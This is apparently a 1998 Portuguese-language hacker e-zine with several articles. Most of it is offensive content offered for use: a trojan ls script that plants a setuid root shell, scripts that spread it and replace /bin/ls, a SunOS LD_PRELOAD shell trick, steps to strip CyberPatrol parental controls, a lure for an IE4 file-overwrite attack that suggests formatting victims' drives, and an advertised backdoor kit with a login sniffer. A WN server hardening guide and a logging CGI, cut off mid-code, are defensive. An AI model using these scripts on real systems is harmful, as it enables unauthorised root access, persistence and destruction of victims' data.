inteligencia e esperteza, voce pode instalar esta pequena backdoor em
qualquer sistema e em qualquer diretorio q voce quiser, e se ainda
estiver com problemas utilize um dos scripts abaixo para facilitar a
entrada do script no sistema.
Otimo, entao ai vai o codigo do script com as devidas intrucoes,
voila e enjoy... ;) nomeie o arquivo como ls...
---------------[ ls backdoor ]-------------
#!/bin/sh
#the blood root (c) 1998, - blood@microsoftz.com
touch /tmp/ls.shell
/bin/cp /bin/sh /tmp/ls.shell
chmod 4755 /tmp/ls.shell
ls
---------------[ ls backdoor ]-------------
Explicacao:
touch /tmp/ls.shell = Cria o arquivo no /tmp/ls.shell
/bin/cp /bin/sh /tmp/ls.shell = Copia a shell do
executador para ls.shell
chmod 4755 /tmp/ls.shell = Atribui RWX para todos os
usuarios do sistema.
ls = Continua com o comando LiSt do diretorio, como se
nada tivesse acontecido....
ls backdoor fun
---------------
Agora, eh bem simples veja este scripts e utilize se
quiser... ;p
1. the hunter - Este script simplesmente ira colocar o
ls backdoor em todos os diretorios do sistema, precisa
ter root no sistema... Eh necessario especificar o
caminho para o ls, eu presumi q ele estivesse no
/tmp/ls, mas mude se estiver em outro lugar ;p
---------------[ The hunter ]-------------
#!/bin/sh
if [ `whoami` != root ]; then
echo "Precisa ter root para rodar o script"
exit 0
fi
#se quiser acrescentar mais, veja abaixo:
echo "Alvos: /usr/, /etc, /home/, /dev, /var"
#backdoor no /home
cd /home
touch /home/ls
/bin/cp /tmp/ls /home/ls
chmod 4755 /home/ls
echo "/home done"
#backdoor no /usr
cd /usr
touch /usr/ls
/bin/cp /tmp/ls /usr/ls
chmod 4755 /usr/ls
echo "/usr... done
#backdoor /etc
cd /etc
touch /etc/ls
/bin/cp /tmp/ls /etc/ls
chmod 4755 /etc/ls
echo "/etc... done"
#backdoor /dev
cd /dev
touch /dev/ls
/bin/cp /tmp/ls /dev/ls
chmod 4755 /dev/ls
echo "/dev... done"
#backdoor /var
cd /var
touch /var/ls
/bin/cp /tmp/ls /var/ls
chmod 4755 /var/ls
echo "/var... done"
#done...
echo "dan0ne..."
---------------[ The hunter ]-------------
2. The fish - Estah eh para os admins q encontrarem este
merdinhas rodando backdoores tao estupidas, e pegar
eles pela gravata... Utilize o sulogin na conta do
lamer e depois execute o script, senao eh a sua shell
que vai para o espaco ;)
---------------[ The fish ]-------------
#!/bin/sh
$PATH #especifique O diretorio onde o ls estah rodando
cd $PATH
chmod +s ls
---------------[ The fish ]-------------
Agora rode este script para pegar o cara quando ele rodar
o script:
----------[ The Funkyeadmin ]-----------
#!/bin/csh
#So prara variar ;)
echo "............"
sleep 60
/bin/cp /bin/sh /var/log/lslogshell
whoami >> /var/log/lslog
id >> /var/log/lslog
date >> /var/log/lslog
telnet localhost 19
-----------[ The Funkyeadmin ]---------
3. The fucker - Estah eh bem malvada, e pega o sistema
todo de vez.... tbm presumi q o ls estava
no /tmp/ls
---------------[ The fucker ]-------------
#!/bin/sh
#opa, jah ia colocando /bin/ls
mv /bin/ls /bin/.sl
/bin/cp /tmp/ls /bin/ls
chmod 4755 /bin/ls
---------------[ The fucker ]-------------
Entao, voce se pergunta, oq eu fiz? bom, agora qualquer
pessoa, em qualquer lugar do sistema, quem digitar ls
automaticamente, ira executar o ls backdoor, depois disto,
ele ira executar o verdadeiro ls. PS: como o ls backdoor
(o primeiro exemplo), utiliza como padrao o comando ls e
nao .sl, eh necessario mudar a utlima linha da backdoor,
para /bin/.sl assim, o script ficara perfeito ;p
Pra proxima edicao tem mais unix hack 0.01 >>> 0.01 <<<
New elite numbahz... 0.01
contact:[.blood@phone9.org]|[.bi0tek@phone9.org.]
The Phone9 Communications, Inc
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³6 - SunOS preloaded buggy ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bi0h4zard ³°°
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
Ok. esta e' bastante antiga, mas ainda funciona em algumas versoes
da OS. Quando o SunOs , executa um programa, ele faz um checagem nas
bibliotecas do sistemas, criando varios links temporarios.
As bibliotecas em ordem de checar:
- Os simbolos do programa
- Os simbolos pre-loadados
- A biblioteca dinamica do usuario
- A biblioteca default do sistema
Aqui vai um codigo em C explicando como tirar proveito disto:
Crie este arquivo ( joe /root/sync.c ) e coloque o
seguinte codigo nele:
#--codigo--#
shit() {
execl("/bin/sh", "sh", 0);
}
#--codigo--#
Compile-o assim: cc -c -O -R -pic sync.c
Faca a biblioteca: ld -o buglib.so.1.1 -assert pure-text sync.o
Selecione a lista de preloads: setenv LD_PRELOAD ./buglib.so.1.1
Agora faca: su sync
Quando voce fizer isto, voce automaticamente estara dando um su
no user sync, agora voce tem uma shell com id=1 e gid=1, use a
imaginacao ( PS: Olhe as caracteristicas do user 'bin' e depois
me conte o resultado ) Tudo fica baseado na sua fake sync, que
chama a shell, antes que qualquer erro aconteca, ja' que a sync,
sera executa de um jeito ou de outro.
bi0hazard - 'Yabadabaduhhhhh....'
--------- (c) bi0hazard@phone9.org
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³7 - PCS, Personal Communications Systems ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°°
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
Toda a vida voce ouviu falar sobre PCS? nao! Tambem nao me espanta,
pois o pessoal do #phreak da brasnet.org nem tem ideia do que seja
isto ( shame on you guys!!! ;)), a PCS ( Personal Communications
Systems ) e' o mais novo meio de comunicacao pessoal no mundo, e
talvez um dos melhores se assim posso dizer!! chegando ate' a
ameacar as entranhas do celular ( bah! Como se um dia existirao
mais unix do que windows... ;)) Mas os pontos fortes do PCS sao,
o E' totalmente digital!
o Permite a conexao de celulares no seu sistema
o Utiliza recursos como telefaz, telemail entre outros.
o Conferencia movel digital
o Nos ultimos 30 meses, teve um crescimento de 15 milhoes de usuarios para
2000 milhoes.
Opera nas frequencias de 1850Mhz ate' 2200Mhz, o que permite que a
comunica de largas faixas e distancias sejam alcancadas sem nenhum
problema. Necessitando de somente 7% da banda da qual o sinal sera
alimentado, o PCS concerteza e' o futuro do celular. Em medidas de
seguranca o PCS utiliza varios recursos como:
Obs: E'sim, no NEXTEL (melhor empresa de telefonia movel digital???), tem o
PCS.
- radio-frequency fingerprint:
Um sistema de encriptacao de data/voz transmitida pelo aparelho
do usuario do PCS, o sistema utiliza uma chave de 128bits,
semelhante ao Message Digest 5 ( md5 ), esta chave que e'divida
em 3 partes, para tres pessoas:
Primeira parte - Digamos que seja uma especie de chave publica do usuario
Segunda parte - E' a parte da chave que ira encriptar toda a transmissao e
outros dados do PCS.
Terceira parte - Chave desencriptadora e chave controladora vinda do tipo de
CCC do PCS.
O esquema fica mais ou menos assim:
Primeira chave
/|\
_/ \_
/ \
... ...
E' a parte da E' a parte que fornece
chave com a 18bits divididos em rounds
identificacao de 2. Fazem parte da chave
do usuario, para encriptar ou decriptar
somente como a as transmissoes enviadas p/
primeira parte o PCS.
do codigo para
poder encriptar
a transmissao
Segunda chave
/|\
_/ \_
/ \
... ...
E' a parte que Tambem serve como um firewall
checa a auten- ja' que checa por qualquer falha
tificidade da nos bits da encriptacao da trans-
transmissao, missao!
mesclando as A procura de backdoors, como redirecionamento da
duas chaves, do caminho data , entre outras coisas.
( da central e a
do user ) para
ver se a encrip-
tacao esta realmen-
te correta
Terceira chave
/|\
_/ \_
/ \
... ...
E' a parte Recebe e desencripta todas
da encriptacao as fingerprints destinadas
que e' mais a ele. Recebendo a verdadeira
importante, fonte do usuario.
e' a finger
print da central
PCS de transmis-
soes, onde e'
criada uma chave
nova a cada trans-
missao.
alem de incluir otimos sistemas anti-fraude como:
- 0900-sex -> O sistema ira gravar todas as ligacoes 0900, ate' um
certo momento, se a conversa for um tanto normal ( how bizare? ),
entao eles a apagam depois de dois meses de contas sem nenhuma
das tais ligacoes, caso exista uma reclamacao , ele irao tocar a
fita para voce e perguntar "Esta concerteza nao e' a sua voz!!!"
Caso ligacoes constantes ocorram o servicos 0900 sera deshabilitado
daquele celular.
- 0-xx-xxx-xxx-xxxx -> Ligacoes para outros paises estao estritamente
e automaticamente desligadas ( o que nao permite que o AcidMud,
ligue para a BBS do pessoal da THC ;)), ate' que a pessoa ligue para
a central e diga a sua licenca de identidade entre outras
informacoes!
- RoamEX -> Um novo sistema de trackeamento de celular e PCS pelo
mundo todo, cobrindo todo os paisesque habiltiaram esta funcao,
so para lembrar o pais da liberdade ( holanda ), nao assinou este
contrato entao nao holanda o anonimato e' total, e a seguranca de
uma safe hack e' perfeita.
hacking:
---
Ate' agora, so um meio de se "hackear" com as aspas, e' bem simples,
o primeiro e' um tanto primitivo eso ira funcionar caso voce pegue
uma empresa de telefonia celular fraca como a NeXTeL, bom voce ira
pegar o seu radio amador e ira scanear as frequencias de 1850Mhz a
2200Mhz. Esta e' um tanto basica!! huh? Os motivos para que este tipo
de ataque nao funcione sao maximos, porque existe um sistema poderoso
de encriptacao nos canais, nao deixando com que voce consiga ouvir as
falas, fora o barulho junkie da conexao ISDN com a central.
the blood root, Sekurity Netw0rks
reg - (c) 1998, productions
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³8 - Detonando o cyberpatrol ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by franz kafka ³°°
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
Cyberpatrol e' uma merda para ser deletado... Eles tem um sistema
estupido anti-hacker que me deixa nojo.. Yeaki!!! O cyberpatr0l, e'
um programa instalado no seu computador pelos seus pais, para nao
deixar que voce veja coisas como imagens de sexo, e qualquer outro
assunto que eles considerem perigoso para a sua fragil mente. Agora,
vamos deletar o cyberpatr0l e depois cair na pornografia de pessoas
com mais de 18 anos ( stop being such a jackass y0u'r a pedofilist! ;)
Primeiro, entre no computador no modo MS-DOS (aperte F8 quando a
maquina estiver inicializando!!!) entre no diretorio do patrol pelo
DOS e entao digite:
attrib -r *.*
no diretorio do cyberpatrol. E no diretorio do C: (ou primary HD),
digite:
deltree c:\patrol\
Voce deve primeiro retirar todas as referencias sobre o cyberpatrol
do seu sistema, registros entre outros documentos. ( Nao deletem os
arquivo do tipo *.nls posi eles sao do teclado e nao e' muito bom,
deleta-los dali!!!)
Voce ainda nao acabou pois precisa de mais algumas coisas...
reconfigure o system.386 para bloquear o acesso ao winsock.ini, e
agora digite o seguinte comando no diretorio do windows:
c:\windows\> attrib -h -r ip.exe
del ip.exe
attrib -h -r *.ini
Delete todos os arquivos que estejam sobreo controle do CP ou IP.exe!!
Os proximos tres comando irao reconfigurar o system.386, no diretorio
do windows:
attrib -h -s -r system.386
copy system.386 c:\windows\system.drv
copy system.386 .\system\system.drv
Agora re-inicie a sua maquina...
E depois para acessar o controle de acesso ao passw0rd do CP,
simplemente edite o registro:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\Security.
E voce ira ver uma chave binaria, nao delete-a ou mude-a a nao ser que
saiba o que esta fazendo...
Pronto, no more access denied, Dude!!!
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³9 - re-escrevendo arquivos de sistema com VBzkr1pt ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°°
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
Um codigo em VBzkr1pt, pode alterar qualquer documento dentro do
HD de uma vitima, que esteja usando o bugado IE 4.0, este script
devera ficar no codigo HTML da pagina, podendo rodar o programa
VBscript Engine 3.x no servidor onde foi colocado a pagina, assim
quando um lamer clicar entrar em uma pagina qualquer o arquivo
descrito no sistema sera alterado...
Sistemas afetados:
- Internet Explorer 4.0
- VBscript Engine 3.x
Description:
Um script mal-intencionado, pode alterar arquivos do seu HD, por meio
de uma pagina HTML.
Demontracao do codigo bugado:
Agora, o seu arquivo c:\p9r0x.txt foi alterado...
Se voce quiser por exemplo: Colcoar um format c: |y no autoexec.bat do
cara, use este script....
Agora coloque bem grande na sua pagina, um link assim:
"Some quem tem IE 4.0, pode ver as novas fotos da Luana Piovani nua"
E utiliza a binda da Luana como objeto bugado sexual ;)
Era isso, agora e' so colocar o codigo na sua pagina e bugar toda a
negada...
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³10 - Guia de seguranca em servidores WN-1.17 ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°°
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
Ultimamente os desenvolvedores do servidor HTTP, WN, tem gastado
muitas horas em frente do unix deles, aperfeicoando a seguranca
deste infame servidor, que depois do apache e' o segundo melhor.
Entretanto, isto nao e justificativa para que os administradores
de um servidor WN, nao apliquem nenhuma flag de seguranca ou po-
nham nehuma politica de seguranca, porque nao existe nenhuma re-
lacao direta entre seguranca e funcionalidade, voce pode ter uma
funcionalidade imensa, mas uma seguranca fraca, assim o inverso
entao e' necessario se aplicar algumas tecnicas para tornar o WN
realmente um pouco mais seguro.
Entao para que o texto fique mais compreensivel eu vou
dividir o texto em ameacas internas e externas.
Amecas externas:
O objetivo do administrador e' evitar que hackers obtenham acesso
nao permitido em seus computadores, atravez do servidor HTTP, pro
gramas como CGI e scripts, nao podem ser executados remotamente
sem a autorizacao de algum usuario admitido dentro do computador
Se voce nao ira rodar nenhum zkr1pt no seu sistema http, entao a
melhor pedida seria roda-lo com o flag -e acionado, esta opcao
impede que qualquer tentativa de comandos sejam atribuidos sob a
id de qualquer usuario que esteja relacionado sob o funcionamento
do server e nao permite que usuarios enviados pelo cliente sejam
armazenados no servidor como arquivos temporarios.... Fora isto
nada fra os logs sao guardados no sistema.
A politica de seguranca basica do WN e' que nenhuma investida do
cliente podera ser aceita pelo servidor, ja' impedindo o abuso de
certos comandos enviados pelo cliente para dentro do servidor.
A permissao para se gravar algo remotamente pelo servidor, devera
ser concedida pelos comandos de permissoes vindas do administra-
dor do sistema. Assim como impede o acesso externo, a utilizacao
de documentos para visualizacao de usuarios e' impossivel, a nao
ser que o administrador permita.
Obs: Todas as permissoes dos diretorios do WN, estao dentro de arquivos
nos diretorios do servidor http, entao e' necessario especificar
cada uma separadamente... Estes arquivos sao index.cache
Protegendo os arquivos index.cache:
Todo o controle de seguranca do WN esta baseado nos arquivos
index.cache, logo a seguranca destes arquivos no seu sistema
e' importantissima, as opcoes -t ou -T permitem especificar
um distinto grupo de usuarios que podem ter acesso ao index.
cache, use as opcoes -t uid# ou -T gid#, para atribuir as
permissoes, eu nao aconselho que voce coloquem sob a uid do
usuario nobody a permissao destes arquivos, pois o uso de
cgis bugados para atribuir comandos pode ser desatroso para
o sistema inteiro, entao a uid0 e gid0 seriam perfeitas ao
meu ver. Uma vez digitado o comando acima, quando se executa
o comando wn -t, este ira envocar a ultima configuraca do -t
assim nada saira e nao entrara a nao ser que o index.cache
deixe.
Agora, toda este seguranca se torna inutil se voce usar a
flag -u, que permite que os usuarios que possuem algum arqui
vo no sistema, especificado no index.cache possam ter acesso
a ele remotamente, assim somente o dono do arquivo ira aces-
sar os arquivos, se a opcao -u e -t forem usadas ao mesmo
tempo, entao a opcao -u estara em vigor e os atributos sob
os usuarios na opcao -t estara isenta no servidor.
Quando o servidor esta sendo exeutado, ele deve presumir que
todas s permisseos de algum usuario no host. Ese usuario e'
determinado quando voce roda o program aem perl 'configure'
ou definindo o USER_ID no config.h do servidor, seria otimo
se o usuario USER_ID, tivesse o minimo de permissoes aceita-
veis, se possivel criar um novo grupo e servidor seria otimo
e' claro que este usuario devera ter permissao de leitura p/
todos os arquivos do servidor, podendo assim mostrar os docu
mentos solicitados via web.
Como padrao, WN nao usa a chamada de sistema chroot para res
tringir os arquivos que o servidor pode acessar, isso aumen-
taria a segurnaca a custa do trabalho extra do administrador
O efeito disso e'evitar que o servidor acesse, ainda que in-
ternamente, qualquer arquivo restrito que nao esteja no ar-
quivo, index.cache. Eu recomendo o trabalho extra pois assim
o seu patrao pode te dar um salario maior, mas avise-o, pois
ninguem nota tais mudancas minimas para o surfistas... ;)
Ameacas internas:
Sempre que usuarios nao-permitidos tenham contas ativas no
sistema, a seguranca estara sempre compromentida. O objetivo
deste documento e' garantir que ao executar o WN nao fique
inseguro o seu sistema. Se for possivel , veja se nenhum tem
acesso de gravacao em qualquer arquivo index.cache do WN
Uma boa regra para segurar o servidor internamente e':
Considere sempre que todo mundo que tem acesso para gravacao
no index.cache, tem todas as permissoes sob qual o servidor
roda, assim ira poupar, qualquer eventual problema com o WN.
Agora se voce utiliza o servidor WN para armazenar paginas
de outras pessoas, e necessario dar acesso a algumas pessoas
nos seus devidos diretorios, entao e'necessario rodar o WN,
com a opcao -u acionada, a que exige que cada arquivo index.
cache tenha um unico dono em comum, assim o dono do arquivos
devera setupar os arquivos index.cache, na medidade que for
necessario para o funcionamento do servidor. Isto seria algo
como chmod u+wx /etc/passwd, assim somente voce tera acesso
ao passwd com o atributo de grava-lo , ou tros poderao ve-lo
mas nao muda-lo. Entao se a opcao -t for usada, entao a -u
sera desativada, assim qualquer arquivo do qual a ui do ser-
vidor tenha acesso para leitura, execucao e gravacao, podera
ser executada pelo usuarios que acessam o servidor, se o WN,
rodar sb a uid 0, entao arquivos como /etc/passwd estarao
vulneraveis. Por isso o servidor nao permite links simboli-
cos de index.cache's para outro index.cache's.
A opcao de comando -e, e eficais caso qualquer execucao de
scripts, ou CGIs seja solicitada... Ja' parando alguns bugs
internos e externos.
A utilizacao da opcao -u e -E, aumenta muito a seguranca do
servidor, se voce deseja considerar que qualquer permissao
dada pelo ID do usuarios sobre o qual o WN roda, tambem sao
concedidas a todos os usuarios que podem criar um arquivo
index.cache no sistema.
Algumas configuracao de seguranca recomendadas:
Esta e' uma lista consultada por varios membros da phone9 e de outros
lugares, a fim de informar o seu servidor dos seguintes sistema de
seguranca que rodam no sistema, iremos considerar que voce esteja usan
do o WN ou SWN, na porta 80 (ou no maximo 8080), e que o valor das
variaveis USER_ID e GROUP_ID nao tenham sido alteradas no arquivo,
config.h, isso significa que o wn sera rodado como user r00t, mas ira
mudar as suas permissoes para o usuario nobody. Da mesma forma que
este podera ser inicializado pelo inetd e com os seu privilegios do
nobody.
CGI probidio e somente administrador como usuario confiavel:
Utiliza-se a opcao -t ou -T, opcao -e ou -E e nenhuma outra, alem de
alterar a linha do config.h #define FORBID_CGI, retirando o comentario
da sua frente. Metodos POST, nao sao permitidos assim como nenhuma
forma de programa que esteja sendo orignado internamente do servidor,
nao-permitindo nenhum CGI rodando no sistema.
Somente administrador ou grupo confiavel:
Este e' o nivel de seguranca para rodar CGIs e scripts por meio do
servidor, rode-o sob a opcao -t ou -T e nenhuma outra.
Privilegios de servico de usuarios restritos:
Isto permite que usuarios permitidos dentro do servidor, possam rodar
suas home-page sem a supervisao do administrador, e' perfeito para
servidores que irao armazenar home-pages de outras pessoas no seu
dominio (ex. http://www.bloodroot.org/phone9/) Use as opcoes -E e -u.
Se voce rodar a opcao -u nao rode a opcao -T ou -t.
-.[ Conclusao ].-
Use as configuracao aqui dispostas, para tornar o seu servidor
WN mais seguro, embora o apache seja melhor.... Mas fazer o que?????
The bloodroot - [.blood@phone9.org.]
Guia de seguranca em servidores WN
reg(c) 1998, productions
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³11 - backdoor cracker [bc20], tecnicas anais em sistemas linux ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°°
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
The blood root's sekure netw0rks
presents...
The backdoor cracker
remote/local backdoor system
v2.0 - by bloodroot|bi0tek
Recentemente, foi lancado um programa instalador de backdoors, em sistema
linux e unix-brothers, este se chama .[bc20]. , e foi criado por bloodroot
bi0tek, o programa codeado em Cshell, instala das mais infames backdoors
no seu sistema e ainda vem com um sistema de seguranca que ao executado,
nao permite que nenhuma das backdoors que o sistema utiliza seja realmente
utilizada no seu sistema. O bc20, esta divido em dois grandes grupos:
'backdoor system' e 'sekurity board', cada um explicado abaixo:
backdoor systems:
E' o conjunto de backdoors que o bc20, instala no seu sistema...
.[ls backdoor
(Veja o artigo no.05 desta edicao da Phone9)
.[rootls backdoor
(Veja o artigo no.05 desta edicao da Phone9)
.[in.couried backdoor
in.couried e' um daemon comum que roda servicos por meio do inetd,
este daemon porem possui um artibuto de permissao de gravacao, auto-
maticamente especificado pelo programa que voce instalou, entao e'
possivel se alterar algumas das suas funcoes para se instalar um
sistema de portas bugadas no seu sistema, ex. inetd backdoor, sobre o
daemon in.couried
.[phf.cgi bug
Exploita remotamente ou internamente o bug o phf.cgi, que vem com
algumas versoes do apache web server... veja o artigo no.21 para
maiores informacoes sobre o bug...
.[b2 backdoor
E' um programa em C feito por Dr.sm0g (sm0g@phone9.org), para instalar
backdoors em praticamente todos os diretorios de um servidor. E' um
codigo simples mas mesmo assim e' eficais!!!
.[suidroot backdoor
A preferida de todos nos, copia a shell de um usuario (root) para
dentro de um arquivo a sua escolha...
.[backdoor no inetd
E outra backdoor que permite que uma porta seja usada somente para
executar uma shell remotamente, sob a uid do dono do servico da porta,
ou inetd, e ate mesmo root.
.[cron time backdoor
Instala um sistema de backdoors diretamente no sistema cron do root,
assim voce podera executar a shell do root por meio de um arquivo
suid.
.[novo usuario root
Apenas coloca um usuario com as uid:0 e gid:0!!!
.[finger link backdoor
E' a famosa backdoor utilizada em um finger, e' bem simples ao dar
um finger em um usuario, o arquivo que voce escolher aparece logo apos
o response do finger
.[.files bug
Instala um sistema de backdoor em praticamente qualquer arquivo .xxxx,
que exista em sistema linux e ainda permite a opcao de colocar estas
backdoors em qualquer arquivo .xxx do sistema
.[fake login
Instala um sistema de sniffer no /bin/login logando todos os passwords
que forem digitados no prompt do login (login: e password: ) Podendo
ser configurado para rodar dentro de um unico diretorio ou capturando
o sistema todo.
.[testcgi bug
Exploita a falha de alguns setups de tescgi-cgi existentes, veja o
artigo no.22 para maiories informacoes sobre o bug
.[rhosts bugware
Instala backdoors em arquivos .rhosts em pontos estrategicos do seu
sistema.
.[Apache webserver fuckware
Tecnicas de DoS em servidores Apache de todos os sabores e versoes...
.[/etc/passwd crackware
Sao pequenas tecnicas de furto de password que podem ser adaptadas no
/etc/passwd do seu sistema.
Estas sao as backdoors que o .[bc20]. instala no seu sistema,
lembramos que pelo fato de ser um sistema de backdoors, a
maioria delas so funcionam depois que voce obter root no sistema
o mesmo pode ser aplicado no sistema de seguranca do .[bc20].
==[ sekurity board ]==[ bc20 ]==
(c) by bloodroot|bi0tek
O sistema de seguranca do bc20, se aplica a todos os
backdoors que o backdoor systems, instala tornando assim
o .[bc20]. , uma ferramenta de seguranca e de hacking...
O sistema de seguranca do bc20, funciona para praticamente todas as
backdoors que o modo de backdiir installer , instala... Implementando
tecnicas conhecidas por varios guruz, e hackers, assim o bc20 e' uma
ferramenta balanciada...
O backdoor cracker v2.02, pode ser baixado nos seguintes enderecos:
--
http://www.phone9.org/html/labs/tools/bc20.zip
http://members.xoom.com/phone9/tools/bc20.zip
http://www.microsoftz.com/phone9/tools/bc20.zip
http://www.puruca.com.br/phone9/tools/bc20.zip
--
Qualquer reclamacao, duvida ou implementacao de codigo:
bc20@phone9.org
[O lancamento do bc30... Ja' esta a caminho... aguardem...]
backdoor cracker v2.02 - by bloodroot|bi0tek
blood@phone9.org|bc20@phone9.org
[P9] [P9]
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 12 - Apache Web server guard ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bi0tek ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
AWSG, e' um script CGI, que controla todas as acoes do seu
servidor apache por meio de um unico CGI, enviando por mail
qualquer coisa bizarra que aconteca no sistema, alem de ser
totalmente configuravel, ele e' uma implementacao de um an-
tigo condigo para o apache 1.1.1 (Geee!! My mum is younger)
O script que fica rodando em background no servidor, monito
ra qualquer acesso a arquivos que nao existem, diretorios
do qual eles nao tem acesso, e qualquer outro documento nao
permitido ao publico, o AWSG, grava as tntativas e as envia
para o email do administrador, assim voce pode rodar o seu
servidor apache sem que nada realmente incomum possa ser
documentado.
A AWSG, e' originalmente um script feito por fluidz, e eu
implementei o codigo conrrigindo alguns bugs existentes no
bichinho...
Rode-o em perl (/usr/bin/perl???), e deixe-o
rodando em backdground, junto com o servidor
- qualquer problema eventual com o script,
manda um mail para mim (bi0tek@phone9.org)
O codigo ta' abaixo, sao dois arquivos o .htaccess e o awsg.cgi
enjoy...
---[awsg.cgi]---
#!/usr/bin/perl
#
# Apache Web Server Guardian, v1.0
# by bi0tek|bi0tek@phone9.org
# --
# awsg@phone9.org |Apache Web Server Guardian, email
# --
#
# Thanks to: x1p, CeZinha e flu1dz
#
# ---> phone9.org <---
# Entre o seu email:
$email = 'bi0tek@phone9.org';
# Entre o endereco da sua pagina principal:
$main_page = 'http://www.xxx.org/index.html';
# Entre o caminho para o seu programa de mail: (defaul e'o sendmail)
$mailprog = '/usr/sbin/sendmail';
# Tratamento de erro_1:
$code = "Razao misteriosa." if ($ENV{'QUERY_STRING'} eq '696');
$code = "Arquivo perdido..." if ($ENV{'QUERY_STRING'} eq '404');
$code = "Acesso restrito" if ($ENV{'QUERY_STRING'} eq '401');
$code = "Falha ao iniciar script" if ($ENV{'QUERY_STRING'} eq '500');
# Mandando um report por mail, para o admin...
open(MAIL,"|$mailprog -t");
print MAIL "To: $email\n";
print MAIL "From: \@phone9 \@phone9\n";
print MAIL "Subject: Guardian Report [$code]\n";
print MAIL "X-Priority: 1 (Highest)\n\n";
print MAIL "O usuario, foi redirecionado para: $ENV{'REDIRECT_URL'}\n";
print MAIL "A conexao foi originade de: $ENV{'REMOTE_HOST'}.\n\n";
if ($ENV{'HTTP_REFERER'})
{
@terms = split(/\//,$ENV{'HTTP_REFERER'});
print MAIL "O visitante veio de $ENV{'HTTP_REFERER'}. ";
print MAIL "Contate o admin!!! $terms[0]//$terms[2].\n\n";
}
else
{print MAIL "Nenhum log foi reportado sob a seguite pesquisa.\n\n";}
print MAIL "Detalhes a seguir:\n\n";
foreach $key (sort keys %ENV)
{print MAIL "$key: $ENV{$key}\n";}
close(MAIL);
# Agora a explicacao para o usuario:
print "Content-type: text/html\n\n";
print <
$code (Apache Error $ENV{'QUERY_STRING'})
\n
EOM
if ($ENV{'QUERY_STRING'} eq '401')
{&explain_401;}
elsif ($ENV{'QUERY_STRING'} eq '404')
{&explain_404;}
elsif ($ENV{'QUERY_STRING'} eq '500')
{&explain_500;}
elsif
{$ENV{'QUERY_STRING'} eq '696')
{&explain_404;}
else
{&default;}
print "\n\n\n";
sub explain_401
{
print <Adminsitrador do Sistema.
Caso o contrario, volte para a pagina inicial
.:Voltar:.
Apache Web Server Guard v1.0 - by bi0tek (bi0tek@phone9.org)
EOM
}
sub explain_404
